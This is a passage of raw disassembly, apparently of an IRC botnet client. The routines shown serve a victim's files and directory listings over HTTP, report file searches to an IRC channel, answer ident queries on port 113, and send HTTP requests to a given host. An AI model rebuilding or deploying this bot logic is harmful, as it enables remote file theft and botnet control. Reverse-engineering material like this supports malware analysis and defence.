aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call ds:dword_4F53D8 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call ds:dword_4F53D4 ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_410095 lea eax, [ebp+var_9C] push eax lea eax, [ebp+Str] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax ; Dest call _sprintf add esp, 24h jmp short loc_4100B6 ; --------------------------------------------------------------------------- loc_410095: ; CODE XREF: sub_40FFB1+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+Str] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax ; Dest call _sprintf add esp, 28h loc_4100B6: ; CODE XREF: sub_40FFB1+E2j lea eax, [ebp+Str] push edi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+var_44C] call dword_4E3148 ; send cmp [ebp+var_A4], edi jnz short loc_4100F6 lea eax, [ebp+Dest] push eax push [ebp+var_44C] call sub_410A71 pop ecx pop ecx jmp short loc_410113 ; --------------------------------------------------------------------------- loc_4100F6: ; CODE XREF: sub_40FFB1+12Dj lea eax, [ebp+Source] push eax ; Source push edi ; int push [ebp+var_44C] ; int lea eax, [ebp+Dest] push eax ; Str call sub_4103EB add esp, 10h loc_410113: ; CODE XREF: sub_40FFB1+143j push [ebp+var_44C] call dword_4E3190 ; closesocket push [ebp+var_B4] call sub_40BA72 pop ecx push edi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_40FFB1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410134 proc near ; CODE XREF: sub_40FB50+3C6p Source = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h Str = byte ptr -314h var_211 = byte ptr -211h Dst = byte ptr -210h Dest = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst mov [ebp+var_4], edi call _memset mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_41016A push eax push offset aS_25 ; "\\%s" jmp short loc_410173 ; --------------------------------------------------------------------------- loc_41016A: ; CODE XREF: sub_410134+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_26 ; "%s" loc_410173: ; CODE XREF: sub_410134+34j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] xor esi, esi xor ebx, ebx push eax ; Str call _strlen test eax, eax pop ecx jbe short loc_41020E mov [ebp+arg_8], 2 loc_41019E: ; CODE XREF: sub_410134+D8j lea eax, [ebp+Dest] push eax ; Str call _strlen cmp [ebp+arg_8], eax pop ecx jnb short loc_4101DE cmp [ebp+esi+Dest], 25h jnz short loc_4101DE cmp [ebp+esi+var_10B], 32h jnz short loc_4101DE cmp [ebp+esi+var_10A], 30h jnz short loc_4101DE inc esi mov [ebp+ebx+Dst], 20h inc esi add [ebp+arg_8], 2 jmp short loc_4101F8 ; --------------------------------------------------------------------------- loc_4101DE: ; CODE XREF: sub_410134+7Aj ; sub_410134+84j ... mov al, [ebp+esi+Dest] cmp al, 2Fh jnz short loc_4101EE push 5Ch pop eax jmp short loc_4101F1 ; --------------------------------------------------------------------------- loc_4101EE: ; CODE XREF: sub_410134+B3j movsx eax, al loc_4101F1: ; CODE XREF: sub_410134+B8j mov [ebp+ebx+Dst], al loc_4101F8: ; CODE XREF: sub_410134+A8j lea eax, [ebp+Dest] inc esi inc [ebp+arg_8] push eax ; Str inc ebx call _strlen cmp esi, eax pop ecx jb short loc_41019E loc_41020E: ; CODE XREF: sub_410134+61j lea eax, [ebp+Dst] push eax lea eax, [ebp+Str] push [ebp+arg_4] push offset aSS_4 ; "%s%s" push eax ; Dest call _sprintf lea eax, [ebp+Str] push offset asc_44AA18 ; "\n" push eax ; Str call _strtok add esp, 18h lea eax, [ebp+Str] push eax call ds:dword_4F536C ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_41025F cmp eax, 0FFFFFFFFh jnz short loc_410262 push [ebp+arg_0] jmp loc_4102E2 ; --------------------------------------------------------------------------- loc_41025F: ; CODE XREF: sub_410134+11Cj mov [ebp+var_4], esi loc_410262: ; CODE XREF: sub_410134+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_41026F mov [ebp+var_4], esi loc_41026F: ; CODE XREF: sub_410134+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_4102ED cmp [ebp+arg_C], edi jz short loc_4102E1 lea eax, [ebp+Str] push offset asc_44AA1C ; "*" push eax ; Dest call _strcat pop ecx lea eax, [ebp+Str] pop ecx push eax ; Format lea eax, [ebp+var_640] push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Str call sub_410B2E add esp, 0Ch lea eax, [ebp+Dst] push eax ; Format lea eax, [ebp+var_53C] push eax ; Dest call _sprintf or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_41033C ; --------------------------------------------------------------------------- loc_4102E1: ; CODE XREF: sub_410134+152j push ebx loc_4102E2: ; CODE XREF: sub_410134+126j call dword_4E3190 ; closesocket jmp loc_4103E4 ; --------------------------------------------------------------------------- loc_4102ED: ; CODE XREF: sub_410134+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+Str] push 80000000h push eax call ds:dword_4F53C0 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41033C lea eax, [ebp+Str] push eax ; Format lea eax, [ebp+var_640] push eax ; Dest call _sprintf pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call ds:dword_4F53DC ; GetFileSize push esi mov [ebp+var_330], eax call ds:dword_4F533C ; CloseHandle loc_41033C: ; CODE XREF: sub_410134+1ABj ; sub_410134+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+Source] push esi push offset asc_44AA20 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Source] push 3 ; int push eax ; Source call sub_40B756 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_45601C[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FFB1 push edi push edi call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_45602C[ecx], eax jz short loc_4103B6 loc_4103A4: ; CODE XREF: sub_410134+280j cmp [ebp+var_318], edi jnz short loc_4103E4 push 5 call ds:dword_4F534C ; Sleep jmp short loc_4103A4 ; --------------------------------------------------------------------------- loc_4103B6: ; CODE XREF: sub_410134+26Ej push ebx call dword_4E3190 ; closesocket call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_44AA54 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_415C3F add esp, 10h loc_4103E4: ; CODE XREF: sub_410134+1B4j ; sub_410134+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_410134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4103EB(char *Str,int,int,char *Source) sub_4103EB proc near ; CODE XREF: sub_401CC7+7823p ; sub_40FFB1+15Ap Dst = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h Str1 = byte ptr -35Ch var_248 = byte ptr -248h Dest = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Source = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4], ebx mov [ebp+var_8], ebx call _memset mov edi, [ebp+Str] push offset asc_44AA8C ; "\n" push edi ; Str call _strtok add esp, 14h cmp [ebp+arg_8], ebx jz short loc_41044A push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi ; Count push eax ; Dest call __snprintf add esp, 14h jmp loc_410549 ; --------------------------------------------------------------------------- loc_41044A: ; CODE XREF: sub_4103EB+3Aj cmp [ebp+Source], ebx push edi ; Str jz loc_41052F call _strlen pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send push edi ; Str call _strlen pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 18h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_410549 ; --------------------------------------------------------------------------- loc_41052F: ; CODE XREF: sub_4103EB+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h loc_410549: ; CODE XREF: sub_4103EB+5Aj ; sub_4103EB+142j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send cmp [ebp+Source], ebx jz short loc_4105E4 push [ebp+Source] ; Str call _strlen cmp eax, 2 pop ecx jbe short loc_4105E4 push [ebp+Source] ; Str call _strlen sub eax, 3 pop ecx jz short loc_410595 loc_410589: ; CODE XREF: sub_4103EB+1A8j mov ecx, [ebp+Source] cmp byte ptr [eax+ecx], 2Fh jz short loc_410595 dec eax jnz short loc_410589 loc_410595: ; CODE XREF: sub_4103EB+19Cj ; sub_4103EB+1A5j inc eax push eax ; Count lea eax, [ebp+Dst] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 0Ch lea eax, [ebp+Dst] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send loc_4105E4: ; CODE XREF: sub_4103EB+180j ; sub_4103EB+18Ej lea eax, [ebp+var_388] push eax push edi call ds:dword_4F53F0 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+Str], eax push ecx push eax call ds:dword_4F53EC ; FindNextFileA test eax, eax jz loc_4109D4 mov edi, 1FFh loc_410610: ; CODE XREF: sub_4103EB+5E3j cmp [ebp+var_388], ebx jz loc_4109BC lea eax, [ebp+Str1] push offset a__ ; ".." push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_4109BC lea eax, [ebp+Str1] push offset a__2 ; "." push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_4109BC lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call ds:dword_4F53E8 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call ds:dword_4F53E4 ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm_0 ; "PM" cmp ax, 0Ch ja short loc_410685 mov ecx, offset aAm ; "AM" loc_410685: ; CODE XREF: sub_4103EB+293j cmp ax, 0Ch movzx eax, ax jbe short loc_410691 sub eax, 0Ch loc_410691: ; CODE XREF: sub_4103EB+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+Dest] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax ; Dest call _sprintf add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_410834 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410705 lea eax, [ebp+Str1] push eax push offset aS_27 ; "<%s>" lea eax, [ebp+var_490] push 106h ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Dest] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_41097D ; --------------------------------------------------------------------------- loc_410705: ; CODE XREF: sub_4103EB+2E0j cmp [ebp+Source], ebx jz loc_4107EF push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send lea eax, [ebp+Str1] push eax lea eax, [ebp+var_248] push [ebp+Source] push offset aSS_5 ; "%s%s/" push edi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 1Eh pop ecx lea eax, [ebp+Str1] push eax jbe short loc_4107A5 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4107AA ; --------------------------------------------------------------------------- loc_4107A5: ; CODE XREF: sub_4103EB+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4107AA: ; CODE XREF: sub_4103EB+3B8j lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send lea eax, [ebp+Dest] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_41097E ; --------------------------------------------------------------------------- loc_4107EF: ; CODE XREF: sub_4103EB+31Dj lea eax, [ebp+Str1] push eax push offset aS_28 ; "<%s>" lea eax, [ebp+var_490] push 106h ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Dest] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 14h jmp loc_41098D ; --------------------------------------------------------------------------- loc_410834: ; CODE XREF: sub_4103EB+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_410873 push ebx push [ebp+var_368] call sub_41748B pop ecx pop ecx push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Str1] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi ; Count loc_41085F: ; CODE XREF: sub_4103EB+577j lea eax, [ebp+var_248] push eax ; Dest call __snprintf add esp, 1Ch jmp loc_41098D ; --------------------------------------------------------------------------- loc_410873: ; CODE XREF: sub_4103EB+44Fj cmp [ebp+Source], ebx jz loc_410967 push 0E6h push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send lea eax, [ebp+Str1] push eax lea eax, [ebp+var_248] push [ebp+Source] push offset aSS_6 ; "%s%s" push edi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 1Fh pop ecx lea eax, [ebp+Str1] push eax jbe short loc_410913 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_410918 ; --------------------------------------------------------------------------- loc_410913: ; CODE XREF: sub_4103EB+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_410918: ; CODE XREF: sub_4103EB+526j lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+Dest] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_41085F ; --------------------------------------------------------------------------- loc_410967: ; CODE XREF: sub_4103EB+48Bj push [ebp+var_368] lea eax, [ebp+Dest] push eax lea eax, [ebp+Str1] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_41097D: ; CODE XREF: sub_4103EB+315j push esi ; Count loc_41097E: ; CODE XREF: sub_4103EB+3FFj lea eax, [ebp+var_248] push eax ; Dest call __snprintf add esp, 18h loc_41098D: ; CODE XREF: sub_4103EB+444j ; sub_4103EB+483j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send cmp [ebp+arg_8], ebx jz short loc_4109BC push 7D0h call ds:dword_4F534C ; Sleep loc_4109BC: ; CODE XREF: sub_4103EB+22Bj ; sub_4103EB+246j ... lea eax, [ebp+var_388] push eax push [ebp+Str] call ds:dword_4F53EC ; FindNextFileA test eax, eax jnz loc_410610 loc_4109D4: ; CODE XREF: sub_4103EB+21Aj push [ebp+Str] call ds:dword_4F53E0 ; FindClose cmp [ebp+arg_8], ebx jz short loc_410A17 mov eax, [ebp+var_8] cdq push edx push eax call sub_41748B pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_41748B pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax ; Dest call _sprintf add esp, 14h jmp short loc_410A4B ; --------------------------------------------------------------------------- loc_410A17: ; CODE XREF: sub_4103EB+5F5j cmp [ebp+Source], ebx jz short loc_410A31 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_410A4B ; --------------------------------------------------------------------------- loc_410A31: ; CODE XREF: sub_4103EB+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax ; Dest call _sprintf add esp, 10h loc_410A4B: ; CODE XREF: sub_4103EB+62Aj ; sub_4103EB+644j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E3148 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_4103EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A71 proc near ; CODE XREF: sub_40FFB1+13Cp Dst = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:dword_4F53C0 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410B29 push esi push ebx call ds:dword_4F53DC ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_410B22 loc_410AB6: ; CODE XREF: sub_410A71+AFj push 400h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410AD3 mov edi, [ebp+arg_4] loc_410AD3: ; CODE XREF: sub_410A71+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:dword_4F53F4 ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+Dst] push edi push eax push ebx call ds:dword_4F53BC ; ReadFile push esi lea eax, [ebp+Dst] push edi push eax push [ebp+arg_0] call dword_4E3148 ; send cmp eax, 0FFFFFFFFh jnz short loc_410B1D call dword_4E308C ; WSAGetLastError cmp eax, 2733h jnz short loc_410B22 xor eax, eax loc_410B1D: ; CODE XREF: sub_410A71+9Bj sub [ebp+arg_4], eax jnz short loc_410AB6 loc_410B22: ; CODE XREF: sub_410A71+43j ; sub_410A71+A8j push ebx call ds:dword_4F533C ; CloseHandle loc_410B29: ; CODE XREF: sub_410A71+30j pop edi pop esi pop ebx leave retn sub_410A71 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_410B2E(char *Str) sub_410B2E proc near ; CODE XREF: sub_410134+181p Str = dword ptr 4 push esi push edi mov edi, [esp+8+Str] xor esi, esi push edi ; Str call _strlen test eax, eax pop ecx jbe short loc_410B57 loc_410B41: ; CODE XREF: sub_410B2E+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410B4B mov byte ptr [esi+edi], 2Fh loc_410B4B: ; CODE XREF: sub_410B2E+17j push edi ; Str inc esi call _strlen cmp esi, eax pop ecx jb short loc_410B41 loc_410B57: ; CODE XREF: sub_410B2E+11j mov eax, edi pop edi pop esi retn sub_410B2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_410B5C(int,char *Str,int,int,int,int,int,int,int) sub_410B5C proc near ; CODE XREF: sub_401CC7+5318p var_4A0 = byte ptr -4A0h Dest = byte ptr -310h Format = byte ptr -110h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4E3068 ; WSAStartup push 6 push 1 push 2 call dword_4E3178 ; socket mov ebx, eax xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_14] call dword_4E30F8 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AE55 pop ecx mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push ebx call dword_4E30A0 ; connect cmp eax, 0FFFFFFFFh jz short loc_410C39 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410BD5 mov eax, offset dword_4E5E88 loc_410BD5: ; CODE XREF: sub_410B5C+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+Format] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Format] push edi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Format] push eax push ebx call dword_4E3148 ; send push esi ; Size lea eax, [ebp+Format] push edi ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+Format] push edi push esi push eax push ebx call dword_4E3110 ; recv pop esi loc_410C39: ; CODE XREF: sub_410B5C+6Bj push ebx call dword_4E3190 ; closesocket call dword_4E3050 ; WSACleanup lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410C79 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_410C79: ; CODE XREF: sub_410B5C+102j pop edi pop ebx leave retn sub_410B5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410C7D proc near ; DATA XREF: WinMain(x,x,x,x)+445o ; sub_401CC7+4363o Str = byte ptr -238h Dest = byte ptr -38h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst mov [ebp+var_8], esi call _memset add esp, 0Ch mov [ebp+Dst], 2 push 71h call dword_4E30F8 ; htons push esi push 1 push 2 mov [ebp+var_1A], ax mov [ebp+var_18], esi call dword_4E3178 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410DE1 mov eax, [ebp+arg_0] push edi imul eax, 234h mov dword_456024[eax], ebx lea eax, [ebp+Dst] push eax push ebx call dword_4E3124 ; bind cmp eax, 0FFFFFFFFh jz loc_410DE1 push 5 push ebx call dword_4E3120 ; listen cmp eax, 0FFFFFFFFh jz loc_410DE1 mov [ebp+var_C], edi mov edi, 200h loc_410D08: ; CODE XREF: sub_410C7D+EAj ; sub_410C7D+14Dj ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C] push eax push ebx call dword_4E318C ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_410DDC movzx eax, [ebp+var_2A] push eax push [ebp+var_28] call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Str] push offset asc_44AF64 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Str] push eax call sub_415C3F add esp, 14h lea eax, [ebp+Str] push esi push edi push eax push [ebp+var_4] call dword_4E3110 ; recv cmp eax, 0FFFFFFFFh jz short loc_410D08 lea eax, [ebp+Str] push esi ; int push eax ; Str call sub_418C98 push 0Ch ; Size lea eax, [ebp+Dest] push esi ; Val push eax ; Dst call _memset push esi ; Str1 push esi ; int lea eax, [ebp+Dest] push 2 ; int push eax ; Dest call sub_40B44F add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp+Str] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Str] push esi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+var_4] call dword_4E3148 ; send cmp eax, 0FFFFFFFFh jz loc_410D08 mov [ebp+var_8], 1 jmp loc_410D08 ; --------------------------------------------------------------------------- loc_410DDC: ; CODE XREF: sub_410C7D+A0j cmp [ebp+var_8], esi jnz short loc_410E08 loc_410DE1: ; CODE XREF: sub_410C7D+47j ; sub_410C7D+6Bj ... call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Str] push offset asc_44AFA8 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Str] push eax call sub_415C3F add esp, 10h loc_410E08: ; CODE XREF: sub_410C7D+162j push ebx call dword_4E3190 ; closesocket push [ebp+var_4] call dword_4E3190 ; closesocket push [ebp+arg_0] call sub_40BA72 pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi pop ebx sub_410C7D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E2B proc near ; DATA XREF: sub_401CC7+61BCo Source = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h 